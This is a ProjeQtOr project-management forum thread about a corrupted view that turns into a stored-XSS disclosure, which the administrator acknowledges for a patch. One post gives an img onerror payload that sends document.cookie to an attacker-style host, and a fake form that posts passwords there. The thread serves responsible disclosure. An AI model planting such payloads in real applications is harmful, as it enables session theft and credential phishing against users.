View ProjeQtOr On SourceForge.net
ProjeQtOr - Project Management Tool
Support us on Capterra
OIN - Open Invention Network
ProjeQtOr free project management software - [SOLVED] View corrupted - ProjeQtOr
 

[SOLVED] View corrupted

More
06 May 2018 09:37 - 06 May 2018 10:28 #1 by ade
View corrupted was created by ade
Hi,

My view is sometime corrupted because :
- either the server answer html below, and projeqtor tries to display it in js (function checkAlertRetour(data) )
- either projetqtor display html tags stored in project follow up which corrupts the view (same html below can be used)

After some brief tests,
- link tag is not supported - it corrupts the view

not support html tags
<link rel="stylesheet" type="text/css" href="maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" media="all"/>


Server answer :

For line below, I change character / into M

<html lang="en-us" prefix="content: http:MMpurl.orgMrssM1.0MmodulesMcontentM dc: http:MMpurl.orgMdcMtermsM foaf: http:MMxmlns.comMfoafM0.1M og: http:MMogp.meMns# rdfs: http:MMwww.w3.orgM2000M01Mrdf-schema# sioc: http:MMrdfs.orgMsiocMns# sioct: http:MMrdfs.orgMsiocMtypes# skos: http:MMwww.w3.orgM2004M02MskosMcore# xsd: http:MMwww.w3.orgM2001MXMLSchema#">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style type="text/css">
@charset "UTF-8";
[ng\:cloak],
[ng-cloak],
[data-ng-cloak],
[x-ng-cloak],
.ng-cloak,
.x-ng-cloak,
.ng-hide:not(.ng-hide-animate) {
display: none !important;
}

ng\:form {
display: block;
}

.ng-animate-shim {
visibility: hidden;
}

.ng-anchor {
position: absolute;
}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Oops, something lost</title>
<meta name="description" content="Oops, looks like the page is lost. Start your website on the cheap.">
<link media="all" rel="stylesheet" href="style.css">
<link rel="stylesheet" href="maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<link href="fonts.googleapis.com/css?family=Open+San...0i,700,700i,800,800i" rel="stylesheet">

<script>
(function(i,s,o,g,r,a,m){i=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','www.google-analytics.com/analytics.js','ga');

ga('create', 'UA-26575989-46', 'auto');
ga('send', 'pageview');

</script>
</head>

<body>

<div class="error" id="error">
<div class="container">
<div class="content centered"><img style="width:500px;" src="something-lost.png">
<h1>Oops, looks like the page is lost.</h1>
<p style="font-size:22px;" class="sub-header text-block-narrow">This is not a fault, just an accident that was not intentional.</p>
</div>
</div>


Attachment not found

Last edit: 06 May 2018 10:28 by ade.

Please Log in or Create an account to join the conversation.

More
06 May 2018 10:47 #2 by babynus
Replied by babynus on topic View corrupted
Hi,

The html code you show is not part of ProjeQtOr.
Check out with your web hoster what the issue is (maybe it's a generic message when host is over loaded)
Babynus
Administrator of ProjeQtOr web site

Please Log in or Create an account to join the conversation.

More
06 May 2018 11:43 #3 by ade
Replied by ade on topic View corrupted
Hi,

i change the code

function checkAlertRetour(data) {
if (data) {
data=data.replace(/http/gi, "bbbb");

Please Log in or Create an account to join the conversation.

More
06 May 2018 12:03 #4 by babynus
Replied by babynus on topic View corrupted

ade wrote: Hi,

i change the code

function checkAlertRetour(data) {
if (data) {
data=data.replace(/http/gi, "bbbb");


And ?
Babynus
Administrator of ProjeQtOr web site

Please Log in or Create an account to join the conversation.

More
06 May 2018 18:04 - 06 May 2018 18:22 #5 by ade
Replied by ade on topic View corrupted
Hi,

for my issue, changing the code solves my issue (Too difficult to change my web hoster)

this problem intrigued me and I read some hacking problem related to the fact what happens if when basic users are allowed to change the behavior of html page.

the basic example i just learned XSS / Cross-Site Scripting

<img src="azerty.jpg" onerror="window.location='www.hacking-site.com/recuperation_cookie...ie='+document.cookie;" hidden>

you put upper text in project Activity Stream and then
- no one can access to project/task ... the page jumps to www.hacking-site.com
- the cookies and forwarded to the page

variation of the issue, more subtil, ask a user to enter his password

<form action="http://www.hacking-site/action_page.php">
please enter your name:<br>
<input type="text" name="please enter your name" value="Mickey"><br>
and your password:<br>
<input type="text" name="and your password" value="Mouse"><br><br>
<input type="submit" value="Submit">
</form>


hope it helps you
Last edit: 06 May 2018 18:22 by ade.

Please Log in or Create an account to join the conversation.

More
06 May 2018 19:02 - 06 May 2018 19:02 #6 by babynus
Replied by babynus on topic View corrupted
Hi,

Thanks for highlighting this security leak
We'll soon fix it in coming patch (V7.0.7)
Babynus
Administrator of ProjeQtOr web site
Last edit: 06 May 2018 19:02 by babynus.

Please Log in or Create an account to join the conversation.

Moderators: babynus, protion
Time to create page: 0.041 seconds

Cookies settings

×

Functional Cookies

Ce site utilise des cookies pour assurer son bon fonctionnement et ne peuvent pas être désactivés de nos systèmes. Nous ne les utilisons pas à des fins publicitaires. Si ces cookies sont bloqués, certaines parties du site ne pourront pas fonctionner.

Session

Please login to see yours activities!

Other cookies

Ce site web utilise un certain nombre de cookies pour gérer, par exemple, les sessions utilisateurs.

Login Form